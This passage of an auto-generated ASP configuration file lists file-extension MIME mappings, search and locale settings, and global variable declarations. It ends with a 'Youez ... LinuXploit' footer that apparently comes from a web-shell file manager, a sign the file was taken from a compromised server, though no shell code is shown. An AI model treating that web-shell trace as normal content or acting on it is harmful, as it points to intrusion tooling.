EW_MIME_TYPES.Add "lpk", "application/octet-stream"
EW_MIME_TYPES.Add "lsf", "video/x-la-asf"
EW_MIME_TYPES.Add "lsx", "video/x-la-asf"
EW_MIME_TYPES.Add "lzh", "application/octet-stream"
EW_MIME_TYPES.Add "m13", "application/x-msmediaview"
EW_MIME_TYPES.Add "m14", "application/x-msmediaview"
EW_MIME_TYPES.Add "m1v", "video/mpeg"
EW_MIME_TYPES.Add "m2ts", "video/vnd.dlna.mpeg-tts"
EW_MIME_TYPES.Add "m3u", "audio/x-mpegurl"
EW_MIME_TYPES.Add "m4a", "audio/mp4"
EW_MIME_TYPES.Add "m4v", "video/mp4"
EW_MIME_TYPES.Add "man", "application/x-troff-man"
EW_MIME_TYPES.Add "manifest", "application/x-ms-manifest"
EW_MIME_TYPES.Add "map", "text/plain"
EW_MIME_TYPES.Add "mdb", "application/x-msaccess"
EW_MIME_TYPES.Add "mdp", "application/octet-stream"
EW_MIME_TYPES.Add "me", "application/x-troff-me"
EW_MIME_TYPES.Add "mht", "message/rfc822"
EW_MIME_TYPES.Add "mhtml", "message/rfc822"
EW_MIME_TYPES.Add "mid", "audio/mid"
EW_MIME_TYPES.Add "midi", "audio/mid"
EW_MIME_TYPES.Add "mix", "application/octet-stream"
EW_MIME_TYPES.Add "mmf", "application/x-smaf"
EW_MIME_TYPES.Add "mno", "text/xml"
EW_MIME_TYPES.Add "mny", "application/x-msmoney"
EW_MIME_TYPES.Add "mov", "video/quicktime"
EW_MIME_TYPES.Add "movie", "video/x-sgi-movie"
EW_MIME_TYPES.Add "mp2", "video/mpeg"
EW_MIME_TYPES.Add "mp3", "audio/mpeg"
EW_MIME_TYPES.Add "mp4", "video/mp4"
EW_MIME_TYPES.Add "mp4v", "video/mp4"
EW_MIME_TYPES.Add "mpa", "video/mpeg"
EW_MIME_TYPES.Add "mpe", "video/mpeg"
EW_MIME_TYPES.Add "mpeg", "video/mpeg"
EW_MIME_TYPES.Add "mpg", "video/mpeg"
EW_MIME_TYPES.Add "mpp", "application/vnd.ms-project"
EW_MIME_TYPES.Add "mpv2", "video/mpeg"
EW_MIME_TYPES.Add "ms", "application/x-troff-ms"
EW_MIME_TYPES.Add "msi", "application/octet-stream"
EW_MIME_TYPES.Add "mso", "application/octet-stream"
EW_MIME_TYPES.Add "mvb", "application/x-msmediaview"
EW_MIME_TYPES.Add "mvc", "application/x-miva-compiled"
EW_MIME_TYPES.Add "nc", "application/x-netcdf"
EW_MIME_TYPES.Add "nsc", "video/x-ms-asf"
EW_MIME_TYPES.Add "nws", "message/rfc822"
EW_MIME_TYPES.Add "ocx", "application/octet-stream"
EW_MIME_TYPES.Add "oda", "application/oda"
EW_MIME_TYPES.Add "odc", "text/x-ms-odc"
EW_MIME_TYPES.Add "ods", "application/oleobject"
EW_MIME_TYPES.Add "oga", "audio/ogg"
EW_MIME_TYPES.Add "ogg", "video/ogg"
EW_MIME_TYPES.Add "ogv", "video/ogg"
EW_MIME_TYPES.Add "ogx", "application/ogg"
EW_MIME_TYPES.Add "one", "application/onenote"
EW_MIME_TYPES.Add "onea", "application/onenote"
EW_MIME_TYPES.Add "onetoc", "application/onenote"
EW_MIME_TYPES.Add "onetoc2", "application/onenote"
EW_MIME_TYPES.Add "onetmp", "application/onenote"
EW_MIME_TYPES.Add "onepkg", "application/onenote"
EW_MIME_TYPES.Add "osdx", "application/opensearchdescription+xml"
EW_MIME_TYPES.Add "otf", "font/otf"
EW_MIME_TYPES.Add "p10", "application/pkcs10"
EW_MIME_TYPES.Add "p12", "application/x-pkcs12"
EW_MIME_TYPES.Add "p7b", "application/x-pkcs7-certificates"
EW_MIME_TYPES.Add "p7c", "application/pkcs7-mime"
EW_MIME_TYPES.Add "p7m", "application/pkcs7-mime"
EW_MIME_TYPES.Add "p7r", "application/x-pkcs7-certreqresp"
EW_MIME_TYPES.Add "p7s", "application/pkcs7-signature"
EW_MIME_TYPES.Add "pbm", "image/x-portable-bitmap"
EW_MIME_TYPES.Add "pcx", "application/octet-stream"
EW_MIME_TYPES.Add "pcz", "application/octet-stream"
EW_MIME_TYPES.Add "pdf", "application/pdf"
EW_MIME_TYPES.Add "pfb", "application/octet-stream"
EW_MIME_TYPES.Add "pfm", "application/octet-stream"
EW_MIME_TYPES.Add "pfx", "application/x-pkcs12"
EW_MIME_TYPES.Add "pgm", "image/x-portable-graymap"
EW_MIME_TYPES.Add "pko", "application/vnd.ms-pki.pko"
EW_MIME_TYPES.Add "pma", "application/x-perfmon"
EW_MIME_TYPES.Add "pmc", "application/x-perfmon"
EW_MIME_TYPES.Add "pml", "application/x-perfmon"
EW_MIME_TYPES.Add "pmr", "application/x-perfmon"
EW_MIME_TYPES.Add "pmw", "application/x-perfmon"
EW_MIME_TYPES.Add "png", "image/png"
EW_MIME_TYPES.Add "pnm", "image/x-portable-anymap"
EW_MIME_TYPES.Add "pnz", "image/png"
EW_MIME_TYPES.Add "pot", "application/vnd.ms-powerpoint"
EW_MIME_TYPES.Add "potm", "application/vnd.ms-powerpoint.template.macroEnabled.12"
EW_MIME_TYPES.Add "potx", "application/vnd.openxmlformats-officedocument.presentationml.template"
EW_MIME_TYPES.Add "ppam", "application/vnd.ms-powerpoint.addin.macroEnabled.12"
EW_MIME_TYPES.Add "ppm", "image/x-portable-pixmap"
EW_MIME_TYPES.Add "pps", "application/vnd.ms-powerpoint"
EW_MIME_TYPES.Add "ppsm", "application/vnd.ms-powerpoint.slideshow.macroEnabled.12"
EW_MIME_TYPES.Add "ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow"
EW_MIME_TYPES.Add "ppt", "application/vnd.ms-powerpoint"
EW_MIME_TYPES.Add "pptm", "application/vnd.ms-powerpoint.presentation.macroEnabled.12"
EW_MIME_TYPES.Add "pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"
EW_MIME_TYPES.Add "prf", "application/pics-rules"
EW_MIME_TYPES.Add "prm", "application/octet-stream"
EW_MIME_TYPES.Add "prx", "application/octet-stream"
EW_MIME_TYPES.Add "ps", "application/postscript"
EW_MIME_TYPES.Add "psd", "application/octet-stream"
EW_MIME_TYPES.Add "psm", "application/octet-stream"
EW_MIME_TYPES.Add "psp", "application/octet-stream"
EW_MIME_TYPES.Add "pub", "application/x-mspublisher"
EW_MIME_TYPES.Add "qt", "video/quicktime"
EW_MIME_TYPES.Add "qtl", "application/x-quicktimeplayer"
EW_MIME_TYPES.Add "qxd", "application/octet-stream"
EW_MIME_TYPES.Add "ra", "audio/x-pn-realaudio"
EW_MIME_TYPES.Add "ram", "audio/x-pn-realaudio"
EW_MIME_TYPES.Add "rar", "application/octet-stream"
EW_MIME_TYPES.Add "ras", "image/x-cmu-raster"
EW_MIME_TYPES.Add "rf", "image/vnd.rn-realflash"
EW_MIME_TYPES.Add "rgb", "image/x-rgb"
EW_MIME_TYPES.Add "rm", "application/vnd.rn-realmedia"
EW_MIME_TYPES.Add "rmi", "audio/mid"
EW_MIME_TYPES.Add "roff", "application/x-troff"
EW_MIME_TYPES.Add "rpm", "audio/x-pn-realaudio-plugin"
EW_MIME_TYPES.Add "rtf", "application/rtf"
EW_MIME_TYPES.Add "rtx", "text/richtext"
EW_MIME_TYPES.Add "scd", "application/x-msschedule"
EW_MIME_TYPES.Add "sct", "text/scriptlet"
EW_MIME_TYPES.Add "sea", "application/octet-stream"
EW_MIME_TYPES.Add "setpay", "application/set-payment-initiation"
EW_MIME_TYPES.Add "setreg", "application/set-registration-initiation"
EW_MIME_TYPES.Add "sgml", "text/sgml"
EW_MIME_TYPES.Add "sh", "application/x-sh"
EW_MIME_TYPES.Add "shar", "application/x-shar"
EW_MIME_TYPES.Add "sit", "application/x-stuffit"
EW_MIME_TYPES.Add "sldm", "application/vnd.ms-powerpoint.slide.macroEnabled.12"
EW_MIME_TYPES.Add "sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide"
EW_MIME_TYPES.Add "smd", "audio/x-smd"
EW_MIME_TYPES.Add "smi", "application/octet-stream"
EW_MIME_TYPES.Add "smx", "audio/x-smd"
EW_MIME_TYPES.Add "smz", "audio/x-smd"
EW_MIME_TYPES.Add "snd", "audio/basic"
EW_MIME_TYPES.Add "snp", "application/octet-stream"
EW_MIME_TYPES.Add "spc", "application/x-pkcs7-certificates"
EW_MIME_TYPES.Add "spl", "application/futuresplash"
EW_MIME_TYPES.Add "spx", "audio/ogg"
EW_MIME_TYPES.Add "src", "application/x-wais-source"
EW_MIME_TYPES.Add "ssm", "application/streamingmedia"
EW_MIME_TYPES.Add "sst", "application/vnd.ms-pki.certstore"
EW_MIME_TYPES.Add "stl", "application/vnd.ms-pki.stl"
EW_MIME_TYPES.Add "sv4cpio", "application/x-sv4cpio"
EW_MIME_TYPES.Add "sv4crc", "application/x-sv4crc"
EW_MIME_TYPES.Add "svg", "image/svg+xml"
EW_MIME_TYPES.Add "svgz", "image/svg+xml"
EW_MIME_TYPES.Add "swf", "application/x-shockwave-flash"
EW_MIME_TYPES.Add "t", "application/x-troff"
EW_MIME_TYPES.Add "tar", "application/x-tar"
EW_MIME_TYPES.Add "tcl", "application/x-tcl"
EW_MIME_TYPES.Add "tex", "application/x-tex"
EW_MIME_TYPES.Add "texi", "application/x-texinfo"
EW_MIME_TYPES.Add "texinfo", "application/x-texinfo"
EW_MIME_TYPES.Add "tgz", "application/x-compressed"
EW_MIME_TYPES.Add "thmx", "application/vnd.ms-officetheme"
EW_MIME_TYPES.Add "thn", "application/octet-stream"
EW_MIME_TYPES.Add "tif", "image/tiff"
EW_MIME_TYPES.Add "tiff", "image/tiff"
EW_MIME_TYPES.Add "toc", "application/octet-stream"
EW_MIME_TYPES.Add "tr", "application/x-troff"
EW_MIME_TYPES.Add "trm", "application/x-msterminal"
EW_MIME_TYPES.Add "ts", "video/vnd.dlna.mpeg-tts"
EW_MIME_TYPES.Add "tsv", "text/tab-separated-values"
EW_MIME_TYPES.Add "ttc", "application/x-font-ttf"
EW_MIME_TYPES.Add "ttf", "application/x-font-ttf"
EW_MIME_TYPES.Add "tts", "video/vnd.dlna.mpeg-tts"
EW_MIME_TYPES.Add "txt", "text/plain"
EW_MIME_TYPES.Add "u32", "application/octet-stream"
EW_MIME_TYPES.Add "uls", "text/iuls"
EW_MIME_TYPES.Add "ustar", "application/x-ustar"
EW_MIME_TYPES.Add "vbs", "text/vbscript"
EW_MIME_TYPES.Add "vcf", "text/x-vcard"
EW_MIME_TYPES.Add "vcs", "text/plain"
EW_MIME_TYPES.Add "vdx", "application/vnd.ms-visio.viewer"
EW_MIME_TYPES.Add "vml", "text/xml"
EW_MIME_TYPES.Add "vsd", "application/vnd.visio"
EW_MIME_TYPES.Add "vss", "application/vnd.visio"
EW_MIME_TYPES.Add "vst", "application/vnd.visio"
EW_MIME_TYPES.Add "vsto", "application/x-ms-vsto"
EW_MIME_TYPES.Add "vsw", "application/vnd.visio"
EW_MIME_TYPES.Add "vsx", "application/vnd.visio"
EW_MIME_TYPES.Add "vtx", "application/vnd.visio"
EW_MIME_TYPES.Add "wav", "audio/wav"
EW_MIME_TYPES.Add "wax", "audio/x-ms-wax"
EW_MIME_TYPES.Add "wbmp", "image/vnd.wap.wbmp"
EW_MIME_TYPES.Add "wcm", "application/vnd.ms-works"
EW_MIME_TYPES.Add "wdb", "application/vnd.ms-works"
EW_MIME_TYPES.Add "webm", "video/webm"
EW_MIME_TYPES.Add "webp", "image/webp"
EW_MIME_TYPES.Add "wks", "application/vnd.ms-works"
EW_MIME_TYPES.Add "wm", "video/x-ms-wm"
EW_MIME_TYPES.Add "wma", "audio/x-ms-wma"
EW_MIME_TYPES.Add "wmd", "application/x-ms-wmd"
EW_MIME_TYPES.Add "wmf", "application/x-msmetafile"
EW_MIME_TYPES.Add "wml", "text/vnd.wap.wml"
EW_MIME_TYPES.Add "wmlc", "application/vnd.wap.wmlc"
EW_MIME_TYPES.Add "wmls", "text/vnd.wap.wmlscript"
EW_MIME_TYPES.Add "wmlsc", "application/vnd.wap.wmlscriptc"
EW_MIME_TYPES.Add "wmp", "video/x-ms-wmp"
EW_MIME_TYPES.Add "wmv", "video/x-ms-wmv"
EW_MIME_TYPES.Add "wmx", "video/x-ms-wmx"
EW_MIME_TYPES.Add "wmz", "application/x-ms-wmz"
EW_MIME_TYPES.Add "woff", "application/font-woff"
EW_MIME_TYPES.Add "woff2", "application/font-woff2"
EW_MIME_TYPES.Add "wps", "application/vnd.ms-works"
EW_MIME_TYPES.Add "wri", "application/x-mswrite"
EW_MIME_TYPES.Add "wrl", "x-world/x-vrml"
EW_MIME_TYPES.Add "wrz", "x-world/x-vrml"
EW_MIME_TYPES.Add "wsdl", "text/xml"
EW_MIME_TYPES.Add "wtv", "video/x-ms-wtv"
EW_MIME_TYPES.Add "wvx", "video/x-ms-wvx"
EW_MIME_TYPES.Add "x", "application/directx"
EW_MIME_TYPES.Add "xaf", "x-world/x-vrml"
EW_MIME_TYPES.Add "xaml", "application/xaml+xml"
EW_MIME_TYPES.Add "xap", "application/x-silverlight-app"
EW_MIME_TYPES.Add "xbap", "application/x-ms-xbap"
EW_MIME_TYPES.Add "xbm", "image/x-xbitmap"
EW_MIME_TYPES.Add "xdr", "text/plain"
EW_MIME_TYPES.Add "xht", "application/xhtml+xml"
EW_MIME_TYPES.Add "xhtml", "application/xhtml+xml"
EW_MIME_TYPES.Add "xla", "application/vnd.ms-excel"
EW_MIME_TYPES.Add "xlam", "application/vnd.ms-excel.addin.macroEnabled.12"
EW_MIME_TYPES.Add "xlc", "application/vnd.ms-excel"
EW_MIME_TYPES.Add "xlm", "application/vnd.ms-excel"
EW_MIME_TYPES.Add "xls", "application/vnd.ms-excel"
EW_MIME_TYPES.Add "xlsb", "application/vnd.ms-excel.sheet.binary.macroEnabled.12"
EW_MIME_TYPES.Add "xlsm", "application/vnd.ms-excel.sheet.macroEnabled.12"
EW_MIME_TYPES.Add "xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
EW_MIME_TYPES.Add "xlt", "application/vnd.ms-excel"
EW_MIME_TYPES.Add "xltm", "application/vnd.ms-excel.template.macroEnabled.12"
EW_MIME_TYPES.Add "xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template"
EW_MIME_TYPES.Add "xlw", "application/vnd.ms-excel"
EW_MIME_TYPES.Add "xml", "text/xml"
EW_MIME_TYPES.Add "xof", "x-world/x-vrml"
EW_MIME_TYPES.Add "xpm", "image/x-xpixmap"
EW_MIME_TYPES.Add "xps", "application/vnd.ms-xpsdocument"
EW_MIME_TYPES.Add "xsd", "text/xml"
EW_MIME_TYPES.Add "xsf", "text/xml"
EW_MIME_TYPES.Add "xsl", "text/xml"
EW_MIME_TYPES.Add "xslt", "text/xml"
EW_MIME_TYPES.Add "xsn", "application/octet-stream"
EW_MIME_TYPES.Add "xtp", "application/octet-stream"
EW_MIME_TYPES.Add "xwd", "image/x-xwindowdump"
EW_MIME_TYPES.Add "z", "application/x-compress"
EW_MIME_TYPES.Add "zip", "application/x-zip-compressed"

' Use token in URL
Const EW_USE_TOKEN_IN_URL = False ' Do not use token in URL

' Use ILIKE for PostgreSQL
Const EW_USE_ILIKE_FOR_POSTGRESQL = True

' Use collation for MySQL
Const EW_LIKE_COLLATION_FOR_MYSQL = ""

' Use collation for MsSQL
Const EW_LIKE_COLLATION_FOR_MSSQL = ""

' Null / Not Null values
Const EW_NULL_VALUE = "##null##"
Const EW_NOT_NULL_VALUE = "##notnull##"

' Search multi value option
' 1 - no multi value
' 2 - AND all multi values
' 3 - OR all multi values

Const EW_SEARCH_MULTI_VALUE_OPTION = 3

' Quick search
Dim EW_BASIC_SEARCH_IGNORE_PATTERN
EW_BASIC_SEARCH_IGNORE_PATTERN = "[\?,\.\^\*\(\)\[\]\\\""]" ' Ignore special characters
Const EW_BASIC_SEARCH_ANY_FIELDS = False ' Search "All keywords" in any selected fields

' Use css-flip
Dim EW_CSS_FLIP, EW_RTL_LANGUAGES
EW_CSS_FLIP = False
EW_RTL_LANGUAGES = Array("ar", "fa", "he", "iw", "ug", "ur")

' Validate option
Const EW_CLIENT_VALIDATE = True
Const EW_SERVER_VALIDATE = False

' Blob field byte count for Hash value calculation
Const EW_BLOB_FIELD_BYTE_COUNT = 200

' Use DOM XML
Const EW_USE_DOM_XML = False

' Cookie expiry time
Const EW_COOKIE_EXPIRY_TIME = 365

'
' * Locale settings
' * Note: DO NOT CHANGE THE FOLLOWING EW_* VARIABLES!
' * If you want to use custom settings, customize the locale files for ew_FormatCurrency/Number/Percent functions.
'

Dim EW_USE_SYSTEM_LOCALE, EW_LOCALE_ID, EW_DECIMAL_POINT, EW_THOUSANDS_SEP, EW_CURRENCY_SYMBOL
Dim EW_MON_DECIMAL_POINT, EW_MON_THOUSANDS_SEP, EW_POSITIVE_SIGN, EW_NEGATIVE_SIGN, EW_FRAC_DIGITS
Dim EW_P_CS_PRECEDES, EW_P_SEP_BY_SPACE, EW_N_CS_PRECEDES, EW_N_SEP_BY_SPACE, EW_P_SIGN_POSN, EW_N_SIGN_POSN
Dim EW_DATE_SEPARATOR, EW_TIME_SEPARATOR, EW_DATE_FORMAT, EW_DATE_FORMAT_ID, EW_TIME_ZONE
EW_USE_SYSTEM_LOCALE = True
EW_LOCALE_ID = 0
EW_DECIMAL_POINT = "."
EW_THOUSANDS_SEP = ","
EW_MON_DECIMAL_POINT = "."
EW_MON_THOUSANDS_SEP = ","
EW_POSITIVE_SIGN = ""
EW_NEGATIVE_SIGN = "-"
EW_CURRENCY_SYMBOL = "$"
EW_FRAC_DIGITS = 2
EW_P_CS_PRECEDES = 1
EW_P_SEP_BY_SPACE = 0
EW_N_CS_PRECEDES = 1
EW_N_SEP_BY_SPACE = 0
EW_P_SIGN_POSN = 1
EW_N_SIGN_POSN = 1
EW_DATE_SEPARATOR = "/"
EW_TIME_SEPARATOR = ":"
EW_DATE_FORMAT = "yyyy/mm/dd"
EW_DATE_FORMAT_ID = 5
EW_TIME_ZONE = "GMT"



Dim EW_CLIENT_VAR
Set EW_CLIENT_VAR = Dictionary()

' Global variables
' Common

Dim Page ' Common page object
Dim UserTable ' User table
Dim UserTableConn ' User table connection
Dim Table ' Main table
Dim Grid ' Grid page object
Dim Language ' Language object
Dim gsLanguage ' Current language
Dim gsToken ' Token
gsToken = ""
Dim EW_PAGE_ID ' Page ID
Dim EW_TABLE_NAME ' Table name
Dim Conn, Rs, RsDtl, i, j
Dim Security
Dim UserProfile
Dim ObjForm
Dim PagerItem
Dim EventArgs
Dim StartTimer ' Start timer
Dim RootMenu
Dim cssfile, jsfile

' Used for debug
Dim gsDebugMsg

' Used by ValidateForm/ValidateSearch
Dim gsFormError, gsSearchError

' Used by header.asp, export checking
Dim gsExport, gsExportFile, gbSkipHeaderFooter, gbOldSkipHeaderFooter, gsHeaderRowClass, gsMenuColumnClass, gsSiteTitleClass
Dim gsCustomExport
gbSkipHeaderFooter = False
gsCustomExport = ""
gbOldSkipHeaderFooter = gbSkipHeaderFooter
Dim gsEmailSender, gsEmailRecipient, gsEmailCc, gsEmailBcc, gsEmailSubject, gsEmailContent, gsEmailContentType

' Used by system generated functions
Dim sSqlWrk, sWhereWrk, sLookupTblFilter, RsWrk, ari, arwrk, armultiwrk, rowswrk, rowcntwrk, selwrk, jswrk, emptywrk, boolwrk, wrkonchange
Dim sFilterWrk
Dim sNewFileName
Dim TmpFile, TmpFile1, TmpNewFiles, TmpNewFiles2, TmpOldFiles, TmpHrefValue, TmpNewFileCount, TmpOldFileCount, OldFileFound, TmpFldVar, TmpValue
Dim arAS, arSrchAS

' Resize Object
Dim gResizeObj

' Keep temp images name
Dim gTmpImages

' Used by detail tab
Dim FirstActiveDetailTable, ActiveTableItemClass, ActiveTableDivClass

' Used by search panel
Dim SearchPanelClass

' Breadcrumb
Dim Breadcrumb

' Login status
Dim LoginStatus
Set LoginStatus = Dictionary()

' ASP.NET / Write permission checking messages
Dim gASPNETMessage, gWritePermissionMessage


%>
<%
Const EW_USE_SUBMENU_FOR_ROOT_HEADER = False
%>
<%
Const EW_PDF_STYLESHEET_FILENAME = "" ' Export PDF CSS styles
%>

Youez - 2016 - github.com/yon3zu
LinuXploit